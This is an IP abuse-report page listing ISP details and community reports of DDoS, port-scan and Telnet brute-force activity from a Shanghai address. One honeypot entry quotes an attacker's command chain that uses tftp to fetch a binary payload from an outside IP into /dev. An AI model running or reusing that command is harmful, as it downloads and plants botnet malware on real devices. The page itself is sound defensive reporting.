223.166.157.21
Recent Activity
This IP has received recent abuse reports, which causes the score to increase.
- ISP
- CHINA UNICOM Shanghai city network
- Usage Type
- Fixed Line ISP
- ASN
- AS17621
- Domain Name
- chinaunicom.cn
- Country
- 🇨🇳 China
- City
- Shanghai, Shanghai
Abuse Reports
Total reports
20 from
18 distinct
reporters
First reported
Most recent report
Recent reports
We have received reports of abusive activity from this IP address within the last week. It is
potentially still actively engaged in abusive activities.
| Reporter | IoA Timestamp (UTC) | Comment | Categories |
|---|---|---|---|
| 🇫🇷 SLBCLOUD |
DDoS: UDP flood to port 25571, peak 49.67 Mbps / 4.6 kpps (60s avg), 2026-11-12 17:13-17:16 UTC, observed by AS215114 SLBCLOUD (sampled flow data).
|
DDoS Attack | |
| 🇧🇷 ICS Labs |
ICS Labs threat intelligence (ICS Feeds): Hacking, Exploited Host. Last observed 2026-11-05 UTC.
|
Hacking Exploited Host | |
| 🇫🇷 BGX |
Honeypot: 2 Telnet login attempt(s), usernames: root; commands run: cat /proc/cpuinfo | cd /dev | rm -f q | tftp -g -r x86_64 -l q 31.56.209.86
|
Brute-Force IoT Targeted | |
| 🇫🇷 thecocasio |
PortSentry honeypot: unsolicited TCP connection to closed decoy port 23 (Telnet) on a host running no such service. Automated port-scan detection at 2026-11-04T00:45:21Z.
|
Port Scan | |
| 🇹🇷 Domainhizmetleri.com |
Source: DH Hunter (Honeypot) | Reason: Portscan (1 ports, 1 attempts in 480h, non-TR)
|
Port Scan | |
| 🇫🇷 Coco Bongo |
1793695271 - 11/03/2026 09:41:11 Host: 223.166.157.21/223.166.157.21 Port: 2323 TCP Blocked
...
|
Port Scan | |
| 🇦🇹 urnilxfgbez |
Last 24 Hours suspicious: (DPT=445|DPT=3389|DPT=22|DPT=3306|DPT=8080|DPT=23|DPT=5900|DPT=1433)
|
Port Scan | |
| 🇺🇸 MPL |
tcp ports: 8443,5555 (4 or more attempts)
|
Port Scan | |
| 🇳🇱 venix |
Unauthorized connection attempt detected from IP address 223.166.157.21 to port 23 (web01.amsterdam)
|
Brute-Force Exploited Host | |
| 🇺🇸 MPL |
tcp/5555
|
Port Scan | |
| 🇺🇸 xmission.com |
Blocked by UFW (TCP on 2323)
Source port: 25224
TTL: 52
Packet length: 60
TOS: 0x00
This report (for 223.166.157.21) was generated by:
https://github.com/sefinek/UFW-AbuseIPDB-Reporter
|
Port Scan | |
| Anonymous |
|
Port Scan Brute-Force | |
| 🇹🇼 kk_it_man |
honey catch
|
Port Scan | |
| 🇩🇪 David Ferneding |
Blocked by UFW (TCP on 2323)
Source port: 60350
TTL: 52
Packet length: 60
TOS: 0x00
This report (for 223.166.157.21) was generated by:
https://github.com/sefinek/UFW-AbuseIPDB-Reporter
|
Port Scan | |
| Anonymous |
Drop from IP address 223.166.157.21 to tcp-port 5555
|
Port Scan |
Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown